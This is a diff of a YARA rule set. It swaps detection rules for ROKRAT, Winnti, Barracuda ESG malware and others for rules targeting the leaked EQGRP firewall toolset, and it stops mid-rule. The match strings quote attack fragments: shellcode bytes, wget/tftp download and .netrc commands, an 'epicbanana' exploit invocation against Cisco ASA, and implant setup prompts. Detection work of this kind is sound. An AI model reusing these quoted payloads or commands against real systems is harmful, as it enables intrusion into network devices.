-		logic_hash = "2c6d8784aa976501a77441c4e705b7fdc9654277e8cd3f6d966967fb2e1cd724"
-		score = 50
-		quality = 85
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L454-L470"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f51f4cfb3b1c77f03a3627cccfee72e57731b26b01907cc837f246a8f7677580"
+		score = 75
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
+		hash1 = "2337d0c81474d03a02c404cada699cf1b86c3c248ea808d4045b86305daa2607"
+
+	strings:
+		$s1 = "SD_processControlPacket" fullword ascii
+		$s2 = "Encryption_rc4SetKey" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "^GET.*(?:/ |\\.(?:htm|asp|php)).*\\r\\n" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and pe.exports("getUpdate") and pe.number_of_exports==1
+		( uint16(0)==0x457f and filesize <200KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_ROKRAT_Nov17_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Config_Jp1_UA
 {
 	meta:
-		description = "Detects ROKRAT malware"
+		description = "EQGRP Toolset Firewall - file config_jp1_UA.pl"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6bf3653b-1f96-5060-b6fd-82ccc83fad77"
-		date = "2017-11-28"
+		id = "947e6f90-4eb4-5241-9819-677cee0c15d8"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rokrat.yar#L110-L127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12641d417408ef32292204f620efa3d1347238fa1c6f63b2b6f09a6c660e9e24"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L472-L488"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8dd504bd00f72b1500375fbe451f5abb055cb2ff440f6ae4314b1e3d64097b83"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f50b6e9891e4d7fd24cc467e7f5cfe348f56f6248929fec4bbee42a5001ae56"
 
 	strings:
-		$s1 = "\\T+M\\Result\\DocPrint.pdb" ascii
-		$s2 = "d:\\HighSchool\\version 13\\2ndBD" ascii
-		$s3 = "e:\\Happy\\Work\\Source\\version" ascii
-		$x1 = "\\appdata\\local\\svchost.exe" ascii
-		$x2 = "c:\\temp\\esoftscrap.jpg" fullword ascii
+		$x1 = "This program will configure a JETPLOW Userarea file." fullword ascii
+		$x2 = "Error running config_implant." fullword ascii
+		$x3 = "NOTE:  IT ASSUMES YOU ARE OPERATING IN THE INSTALL/LP/JP DIRECTORY. THIS ASSUMPTION " fullword ascii
+		$x4 = "First IP address for beacon destination [127.0.0.1]" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Nazar_Svchost_Commands
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Userscript
 {
 	meta:
-		description = "Detects Nazar's svchost based on supported commands"
-		author = "Itay Cohen"
-		id = "3e02381d-de03-50c8-8bde-2974ee96b7c1"
-		date = "2020-04-26"
+		description = "EQGRP Toolset Firewall - file userscript.FW"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c6c1b70e-437f-50e7-9055-b943a1a62e6c"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.epicturla.com/blog/the-lost-nazar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nazar.yar#L1-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c71e8a3b2d69c51ed3f822f62b90906fc0a21d32f1f1850cdef71c335964f9b1"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L490-L503"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "718ee434c8ae61e2709df6dd431dbb0a2230085f0132ae82c7ceda4de75248cf"
 		score = 75
 		quality = 85
 		tags = ""
-		hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
-		hash2 = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5098ff110d1af56115e2c32f332ff6e3973fb7ceccbd317637c9a72a3baa43d7"
 
 	strings:
-		$str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
-		$str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
-		$str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
-		$str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
-		$str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }
+		$x1 = "Are you sure? Don't forget that NETSCREEN firewalls require BANANALIAR!! " fullword ascii
 
 	condition:
-		4 of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Liudoor : WIN32_DLL
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_BBALL_M50FW08_2201 : FILE
 {
 	meta:
-		description = "Detects Liudoor daemon backdoor"
-		author = "RSA FirstWatch"
-		id = "cf7e08b8-2ccd-5828-917b-11340b4a86b1"
-		date = "2015-07-23"
+		description = "EQGRP Toolset Firewall - file BBALL_M50FW08-2201.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_terracotta_liudoor.yar#L1-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f60002d0173a8ebd2b407e79377d4816e699742aedb1e0649b08fd4ca6cf359"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L505-L523"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd180203ec4c4ddfa2c46cba672eb94179553637a9f7548b25dee7b88c3d3294"
 		score = 75
-		quality = 85
-		tags = "WIN32 DLL"
-		hash0 = "78b56bc3edbee3a425c96738760ee406"
-		hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
-		hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
-		hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
-		hash4 = "6093505c7f7ec25b1934d3657649ef07"
-		type = "Win32 DLL"
+		quality = 83
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "80c0b68adb12bf3c15eff9db70a57ab999aad015da99c4417fdfd28156d8d3f7"
 
 	strings:
-		$string0 = "Succ"
-		$string1 = "Fail"
-		$string2 = "pass"
-		$string3 = "exit"
-		$string4 = "svchostdllserver.dll"
-		$string5 = "L$,PQR"
-		$string6 = "0/0B0H0Q0W0k0"
-		$string7 = "QSUVWh"
-		$string8 = "Ht Hu["
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "pageTable.c" fullword ascii
+		$s4 = "_start_text" ascii
+		$s5 = "handler_readBIOS" fullword ascii
+		$s6 = "KEEPGOING" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x457f and filesize <40KB and 5 of ($s*))
 }
-rule SIGNATURE_BASE_MAL_ELF_Reverseshell_Sslshell_Jun23_1 : CVE_2023_2868 FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_BUSURPER_3001_724 : FILE
 {
 	meta:
-		description = "Detects reverse shell named SSLShell used in Barracuda ESG exploitation (CVE-2023-2868)"
-		author = "Florian Roth"
-		id = "91b34eb7-61d2-592e-a444-249da43994ca"
-		date = "2023-06-07"
+		description = "EQGRP Toolset Firewall - file BUSURPER-3001-724.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "006877e9-1e73-5a27-8b3a-bca3513a2035"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_barracuda_cve_2023_2868.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "57e9afb2f6928656242b8257cc3b98ae3b03e38c75ad40b544e3fc6afaea794d"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L525-L540"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "531f7039290b386f070378cb4ba49a57b5031fb16b3972b61f4fb904770fc4ac"
 		score = 75
 		quality = 85
-		tags = "CVE-2023-2868, FILE"
-		hash1 = "8849a3273e0362c45b4928375d196714224ec22cb1d2df5d029bf57349860347"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6b558a6b8bf3735a869365256f9f2ad2ed75ccaa0eefdc61d6274df4705e978b"
 
 	strings:
-		$sc1 = { 00 2D 63 00 2F 62 69 6E 2F 73 68 00 }
-		$s1 = "SSLShell"
+		$s1 = "IMPLANT" fullword ascii
+		$s2 = "KEEPGOING" fullword ascii
+		$s3 = "upgrade_implant" fullword ascii
 
 	condition:
-		uint32be(0)==0x7f454c46 and uint16(0x10)==0x0002 and filesize <5MB and all of them
+		( uint16(0)==0x457f and filesize <200KB and 2 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_MAL_ELF_SALTWATER_Jun23_1 : CVE_2023_2868 FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Workit
 {
 	meta:
-		description = "Detects SALTWATER malware used in Barracuda ESG exploitations (CVE-2023-2868)"
-		author = "Florian Roth"
-		id = "10a038f6-6096-5d3a-aaf5-db441685102b"
-		date = "2023-06-07"
-		modified = "2023-12-05"
-		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_barracuda_cve_2023_2868.yar#L21-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb35898c0ee726170da93b4364920ac065f083f9f02db8eb5d293b1ce127cb78"
-		score = 80
-		quality = 85
-		tags = "CVE-2023-2868, FILE"
-		hash1 = "601f44cc102ae5a113c0b5fe5d18350db8a24d780c0ff289880cc45de28e2b80"
+		description = "EQGRP Toolset Firewall - file workit.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b582f990-5bd5-592d-a7c0-475fdfffc38c"
+		date = "2016-08-16"
+		modified = "2023-01-27"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L542-L566"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1fa61e8c2012e664fee97ff608bcd8845bbd9701fa02d39d49379f7f83a5636d"
+		score = 75
+		quality = 35
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fb533b4d255b4e6072a4fa2e1794e38a165f9aa66033340c2f4f8fd1da155fac"
 
 	strings:
-		$x1 = "libbindshell.so"
-		$s1 = "ShellChannel"
-		$s2 = "MyWriteAll"
-		$s3 = "CheckRemoteIp"
-		$s4 = "run_cmd"
-		$s5 = "DownloadByProxyChannel"
-		$s6 = "[-] error: popen failed"
-		$s7 = "/home/product/code/config/ssl_engine_cert.pem"
+		$s1 = "macdef init > /tmp/.netrc;" fullword ascii
+		$s2 = "/usr/bin/wget http://" ascii
+		$s3 = "HOME=/tmp ftp" fullword ascii
+		$s4 = " >> /tmp/.netrc;" fullword ascii
+		$s5 = "/usr/rapidstream/bin/tftp" fullword ascii
+		$s6 = "created shell_command:" fullword ascii
+		$s7 = "rm -f /tmp/.netrc;" fullword ascii
+		$s8 = "echo quit >> /tmp/.netrc;" fullword ascii
+		$s9 = "echo binary >> /tmp/.netrc;" fullword ascii
+		$s10 = "chmod 600 /tmp/.netrc;" fullword ascii
+		$s11 = "created cli_command:" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <6000KB and ((1 of ($x*) and 2 of them ) or 3 of them ) or all of them
+		6 of them
 }
-rule SIGNATURE_BASE_Visualdiscovery_Lonovo_Superfish_SSL_Hijack : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Tinyhttp_Setup : FILE
 {
 	meta:
-		description = "Lenovo Superfish SSL Interceptor - file VisualDiscovery.exe"
-		author = "Florian Roth (Nextron Systems) / improved by kbandla"
-		id = "200c016e-7ad8-5b58-be5f-7866e91d60e9"
-		date = "2015-02-19"
+		description = "EQGRP Toolset Firewall - file tinyhttp_setup.sh"
+		author = "Florian Roth (Nextron Systems)"
+		id = "71dcc48f-f551-5596-9f03-dbbae470a62b"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/4nc4p/status/568325493558272000"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/threat_lenovo_superfish.yar#L4-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f156a51dccafe32467b64251507928b1c7a1b04595063aa66aa69da6c4cc4fc"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L568-L584"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d560206e634f3bfeffe5b7de3edf02f6c76443ffb5c0de37180e63276a19457"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "99af9cfc7ab47f847103b5497b746407dc566963"
-		hash2 = "f0b0cd0227ba302ac9ab4f30d837422c7ae66c46"
-		hash3 = "f12edf2598d8f0732009c5cd1df5d2c559455a0b"
-		hash4 = "343af97d47582c8150d63cbced601113b14fcca6"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3d12c83067a9f40f2f5558d3cf3434bbc9a4c3bb9d66d0e3c0b09b9841c766a0"
 
 	strings:
-		$s2 = "Invalid key length used to initialize BlowFish." fullword ascii
-		$s3 = "GetPCProxyHandler" fullword ascii
-		$s4 = "StartPCProxy" fullword ascii
-		$s5 = "SetPCProxyHandler" fullword ascii
+		$x1 = "firefox http://127.0.0.1:8000/$_name" fullword ascii
+		$x2 = "What is the name of your implant:" fullword ascii
+		$x3 = "killall thttpd" fullword ascii
+		$x4 = "copy http://<IP>:80/$_name flash:/$_name" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2MB and all of ($s*)
+		( uint16(0)==0x2123 and filesize <2KB and 1 of ($x*)) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Signing_Cert : FILE
+rule SIGNATURE_BASE_EQGRP_Shellcode
 {
 	meta:
-		description = "Detects a signing certificate used by the Winnti APT group"
+		description = "EQGRP Toolset Firewall - file shellcode.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0cf185eb-fb8d-5e1f-9089-4f36eb4798de"
-		date = "2015-10-10"
+		id = "d923c1de-c6eb-511f-ae1f-bf3ac6e0eae8"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/analysis/publications/72275/i-am-hdroot-part-1/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L9-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fd5f2808e7d683b9c4b7f5d4ccfd0eb87037eb2e70700b2c083db8c6ddf4a26"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L586-L605"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69a04db721a0d17720f9db9386d47309f01d1fc31bd5e833cedb9e1c2eb573ae"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a9a8dc4ae77b1282f0c8bdebd2643458fc1ceb3145db4e30120dd81676ff9b61"
-		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash1 = "ac9decb971dd44127a6ca0d35ac153951f0735bb4df422733046098eca8f8b7f"
 
 	strings:
-		$s1 = "Guangzhou YuanLuo Technology Co." ascii
-		$s2 = "Guangzhou YuanLuo Technology Co.,Ltd" ascii
-		$s3 = "$Asahi Kasei Microdevices Corporation0" fullword ascii
+		$s1 = "execute_post = '\\xe8\\x00\\x00\\x00\\x00\\x5d\\xbe\\xef\\xbe\\xad\\xde\\x89\\xf7\\x89\\xec\\x29\\xf4\\xb8\\x03\\x00\\x00\\x00" ascii
+		$s2 = "tiny_exec = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00" ascii
+		$s3 = "auth_id = '\\x31\\xc0\\xb0\\x03\\x31\\xdb\\x89\\xe1\\x31\\xd2\\xb6\\xf0\\xb2\\x0d\\xcd\\x80\\x3d\\xff\\xff\\xff\\xff\\x75\\x07" ascii
+		$c1 = { e8 00 00 00 00 5d be ef be ad de 89 f7 89 ec 29 f4 b8 03 00 00 00 }
+		$c3 = { 31 c0 b0 03 31 db 89 e1 31 d2 b6 f0 b2 0d cd 80 3d ff ff ff ff 75 07 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 1 of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Malware_Nsiproxy : FILE
+rule SIGNATURE_BASE_EQGRP_EPBA : FILE
 {
 	meta:
-		description = "Detects a Winnti rootkit"
+		description = "EQGRP Toolset Firewall - file EPBA.script"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9b14541c-6077-5f3b-8f73-ff3d283bf209"
-		date = "2015-10-10"
+		id = "5159c2f4-20b7-590d-b216-b3468c26e459"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L28-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "742b091cc630ecea995be8d022eabadef1725dbd952f66a9ca62ecdee6985733"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L607-L626"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c483efdcfbb0dd8602a552b519d3aa52fca12549c0ec1660d813a2a1da66c3a6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
-		hash2 = "cf1e006694b33f27d7c748bab35d0b0031a22d193622d47409b6725b395bffb0"
-		hash3 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
-		hash4 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
-		hash5 = "ba7ccd027fd2c826bbe8f2145d5131eff906150bd98fe25a10fbee2c984df1b8"
+		hash1 = "53e1af1b410ace0934c152b5df717d8a5a8f5fdd8b9eb329a44d94c39b066ff7"
 
 	strings:
-		$x1 = "\\Driver\\nsiproxy" wide
-		$a1 = "\\Device\\StreamPortal" wide
-		$a2 = "\\Device\\PNTFILTER" wide
-		$s1 = "Cookie: SN=" fullword ascii
-		$s2 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
-		$s3 = "Winqual.sys" fullword wide
-		$s4 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" wide
-		$s5 = "http://www.wasabii.com.tw 0" fullword ascii
+		$x1 = "./epicbanana_2.0.0.1.py -t 127.0.0.1 --proto=ssh --username=cisco --password=cisco --target_vers=asa804 --mem=NA -p 22 " fullword ascii
+		$x2 = "-t TARGET_IP, --target_ip=TARGET_IP -- Either 127.0.0.1 or Win Ops IP" fullword ascii
+		$x3 = "./bride-1100 --lp 127.0.0.1 --implant 127.0.0.1 --sport RHP --dport RHP" fullword ascii
+		$x4 = "--target_vers=TARGET_VERS    target Pix version (pix712, asa804) (REQUIRED)" fullword ascii
+		$x5 = "-p DEST_PORT, --dest_port=DEST_PORT defaults: telnet=23, ssh=22 (optional) - Change to LOCAL redirect port" fullword ascii
+		$x6 = "this operation is complete, BananaGlee will" fullword ascii
+		$x7 = "cd /current/bin/FW/BGXXXX/Install/LP" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and $x1 and 1 of ($a*) and 2 of ($s*)
+		( uint16(0)==0x2023 and filesize <7KB and 1 of ($x*)) or (3 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Malware_Updatedll : FILE
+rule SIGNATURE_BASE_EQGRP_BPIE : FILE
 {
 	meta:
-		description = "Detects a Winnti malware - Update.dll"
+		description = "EQGRP Toolset Firewall - file BPIE-2201.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6896191-d856-55f2-a47f-621a4f10d0c7"
-		date = "2015-10-10"
+		id = "a73f0216-3994-5ee6-8a8c-cbcc1279898e"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "VTI research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L56-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b483e77106cc0e2f8ed2398de8b34b8246472875ad3e0612fa06cac96b7e6aa"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L628-L648"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab13dde40015fba80f55bc9d1b82c94ec2421e9ea263b70ad8ec0a7a74c43c9a"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
-		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
-		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
-		hash4 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash1 = "697e80cf2595c85f7c931693946d295994c55da17a400f2c9674014f130b4688"
 
 	strings:
-		$c1 = "'Wymajtec$Tima Stempijg Sarviges GA -$G2" fullword ascii
-		$c2 = "AHDNEAFE1.sys" fullword ascii
-		$c3 = "SOTEFEHJ3.sys" fullword ascii
-		$c4 = "MainSYS64.sys" fullword ascii
-		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
-		$s2 = "Update.dll" fullword ascii
-		$s3 = "\\\\.\\pipe\\usbpcex%d" fullword wide
-		$s4 = "\\\\.\\pipe\\usbpcg%d" fullword wide
-		$s5 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
-		$s6 = "\\??\\pipe\\usbpcg%d" fullword wide
-		$s7 = "\\??\\pipe\\usbpcex%d" fullword wide
-		$s8 = "HOST: %s" fullword ascii
-		$s9 = "$$$--Hello" fullword ascii
+		$s1 = "profProcessPacket" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "getTimeSlotCmdHandler" fullword ascii
+		$s4 = "getIpIpCmdHandler" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "profStartScan" fullword ascii
+		$s7 = "tmpData.1" fullword ascii
+		$s8 = "resetCmdHandler" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ((1 of ($c*) and 3 of ($s*)) or all of ($s*))
+		( uint16(0)==0x457f and filesize <70KB and 6 of ($s*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Malware_FWPK : FILE
+rule SIGNATURE_BASE_EQGRP_Jetplow_SH
 {
 	meta:
-		description = "Detects a Winnti malware - FWPKCLNT.SYS"
+		description = "EQGRP Toolset Firewall - file jetplow.sh"
 		author = "Florian Roth (Nextron Systems)"
-		id = "591ad72d-b9d4-5cd9-9103-37e001026610"
-		date = "2015-10-10"
-		modified = "2023-01-06"
-		reference = "VTI research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L90-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6e87b06f6bf11dceb04c8eb4910f5d98ec3fe430fa984eeed8b73e99b28c5abe"
+		id = "e7780540-29c9-5827-8ac0-a685d9ba8a5f"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L650-L666"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ae203527c4e41ae169c63521bb08d5199c43dfd1028574a1791ab1f8f198105"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "1098518786c84b0d31f215122275582bdcd1666653ebc25d50a142b4f5dabf2c"
-		hash2 = "9a684ffad0e1c6a22db1bef2399f839d8eff53d7024fb014b9a5f714d11febd7"
-		hash3 = "a836397817071c35e24e94b2be3c2fa4ffa2eb1675d3db3b4456122ff4a71368"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ee266f84a1a4ccf2e789a73b0a11242223ed6eba6868875b5922aea931a2199c"
 
 	strings:
-		$s0 = "\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" wide
-		$s1 = "%x:%d->%x:%d, Flag %s%s%s%s%s, seq %u, ackseq %u, datalen %u" fullword ascii
-		$s2 = "FWPKCLNT.SYS" fullword ascii
-		$s3 = "Port Layer" fullword wide
-		$s4 = "%x->%x, icmp type %d, code %d" fullword ascii
-		$s5 = "\\BaseNamedObjects\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28E}" wide
-		$s6 = "\\Ndi\\Interfaces" wide
